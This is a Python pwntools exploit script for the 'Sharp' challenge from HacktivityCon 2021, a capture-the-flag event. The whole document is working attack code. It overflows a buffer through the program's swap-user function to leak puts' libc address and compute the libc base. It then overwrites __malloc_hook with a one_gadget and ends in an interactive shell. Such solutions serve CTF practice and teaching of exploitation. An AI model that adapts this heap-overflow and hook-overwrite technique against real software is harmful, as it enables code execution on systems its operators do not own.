HacktivityCon 2021 - Sharp

exploit.py

from pwn import *

def create_user(username):
    io.recvuntil("> ")
    io.sendline("1")
    io.recvuntil("username: ")
    io.sendline(username)
    log.info("[add] {}".format(username))

def remove_user(userid):
    io.recvuntil("> ")
    io.sendline("2")
    io.recvuntil("remove: ")
    io.sendline(str(userid))
    log.info("[remove] {}".format(userid))

def edit_user(userid, username):
    io.recvuntil("> ")
    io.sendline("3")
    io.recvuntil("edit: ")
    io.sendline(str(userid))
    io.recvuntil("username: ")
    io.sendline(username)
    log.info("[edit] {}".format(username))

def swap_user(userid1, userid2):
    io.recvuntil("> ")
    io.sendline("4")
    io.recvuntil("swap: ")
    io.sendline(userid1)
    io.recvuntil("with: ")
    io.sendline(userid2)
    log.info("[swap] {} <-> {}".format(userid1,userid2))

def list_users():
    io.recvuntil("> ")
    io.sendline("5")
    io.recvuntil("\n\n")
    print(io.recvuntil("\n\n"))
    print(io.recvuntil("\n\n"))
    print(io.recvuntil("\n\n"))

LOCAL = True
if LOCAL:
    io = process("sharp",env={"LD_PRELOAD" : "./libc-2.31.so"})
    
    pid = gdb.attach(io, gdbscript='''
    ''')
else:
    io = remote("challenge.ctf.games",31279)

libc = ELF("libc-2.31.so")
elf = ELF("sharp")


create_user("Alice")
create_user("Bob")

# First bof
overwrited_ptr = p64(elf.got["puts"])
swap_user("0", b"1"+b"\x00"*15 + overwrited_ptr)

# Leaking puts' libc address
io.recvuntil("> ")
io.sendline("5")
io.recvuntil("\n\n")
io.recvuntil("\n\n")
io.recvline()
libc_leak = io.recvline().split(b" ")[-1].replace(b"\n",b"")
libc_leak = int.from_bytes(libc_leak,"little")

log.info("puts_libc : {}".format(hex(libc_leak)))

# Calculate libc's base address
libc.address = libc_leak - libc.symbols["puts"]
libc_heap_leak = libc.symbols["system"] + 0x19E160
log.info("libc heap leak : {}".format(hex(libc_heap_leak)))

create_user("Clay")
create_user("DDDD")

# Overwriting __malloc_hook
# 264 bytes to patch __realloc_hook with 0x0

one_gadget = libc.address + 0xe6c7e
log.info("one_gadget : {}".format(hex(one_gadget)))

overwrited_ptr = libc.symbols["system"] + 0x196650
log.info("overwrite address : {}".format(hex(overwrited_ptr)))
swap_user("3", b"2"+b"\x00"*15 + p64(overwrited_ptr))

# 264 [offset] + 8 [__realloc_hook] + one_gadget [__malloc_hook]
edit_user(2,b"A"*264 + p64(0) + p64(one_gadget))

create_user("pwnd!")
io.interactive()